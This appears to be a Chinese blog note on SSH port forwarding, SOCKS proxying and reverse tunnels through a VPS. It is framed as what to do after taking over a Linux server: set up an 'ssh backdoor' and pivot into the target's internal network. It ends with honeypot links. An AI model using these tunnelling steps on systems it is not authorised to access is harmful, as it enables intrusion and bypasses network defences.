得到一台Linux的服務器,我們可以進行以下幾種玩法:
先講一講幾個參數:
-f 要求 ssh在執行命令前退至后台.它用於當ssh准備詢問口令或密語,但是用戶希望它在后台進行.該選項隱含了-n選項.在遠端機器上啟動
-N 不執行遠程命令.用於轉發端口.
-C 要求進行數據壓縮 (包括stdin, stdout, stderr以及轉發X11和TCP/IP連接 的數據).壓縮算法和gzip(1)的一樣,協議第一版中,壓縮級別 “level” 用CompressionLevel選項控制.壓縮技術在modem線路或其他慢速連接上很有用,但是在高速網絡上反而 可能降低速度.可以在配置文件中對每個主機單獨設定這個參數.
-g 允許遠端主機連接本地轉發的端口
-q 安靜模式.消除所有的警告和診斷信息
-T 禁止分配偽終端
-n 把 stdin重定向到/dev/null (實際上防止從stdin讀取數據). ssh在后台運行時一定會用到這個選項.它的常用技巧是遠程運行X11程序.
1正向連接
使用ssh的socks5把我們的2090連入遠程服務器sudo ssh -NfD 2090 -i /root/.ssh/id_rsa1 root@x.x.x.x -p [ssh端口號] ,把2090端口連入彈到目標機vps上去
當你有root的權限,建立一個ssh后門,把自己網絡連入對方內網,可以訪問內網的服務,比如內網工作組或者個人的電腦什么的再組合proxychain工具,類似regourd
瀏覽器本地設置代理2090端口然后就可以訪問內網系統了(這里是我的vps)
ssh -fN -R 10021:localhost:80 root@x.x.x.x -p [ssh端口號],運行后需要輸入vps的密碼
然后可以在VPS上運行命令:內網開啟了apche服務
curl 127.0.0.1:10021
3.VPS做轉發
我們需要的不僅僅是自己登陸VPS可以操作內網的機器,我們需要的是任意一台主機訪問我VPS上的指定端口,然后可以轉發到內網,姿勢如下:
ssh -qTfnN -R :12345:127.0.0.1:80 root@XXXX -p [ssh端口號] -o GatewayPorts=yes
【要在/etc/ssh/sshd_config中修改GatewayPorts no為GatewayPorts yes來打開它才可以進行轉發】
使用總結:VPN隧道/SSH隧道
這種代理方式需要比較高的權限(system/root)直接使用系統功能來開啟內網代理的隧道,配置VPN什么的
通過SSH隧道進行代理
ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,監聽本地port ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類 SSH -qTfnN -D port remotehost #直接進行socks代理 參數詳解: -q Quiet mode. 安靜模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后台運行,並推薦加上 -n 參數 -N Do not execute a remote command. 不執行遠程命令,端口轉發就用它了~
有時候,我們手邊沒有端口轉發的工具,也可以通過ssh來做端口轉發
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地轉發 ssh -CfNg -R port2:127.0.0.1:port1 user@host #遠程轉發
https://github.com/micheloosterhof/cowrie 。
https://github.com/vfreex/docker-cowrie
https://github.com/paralax/awesome-honeypots
https://www.v2ex.com/t/306777?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
http://blog.csdn.net/ZZZJX7/article/details/52413967?locationNum=1&fps=1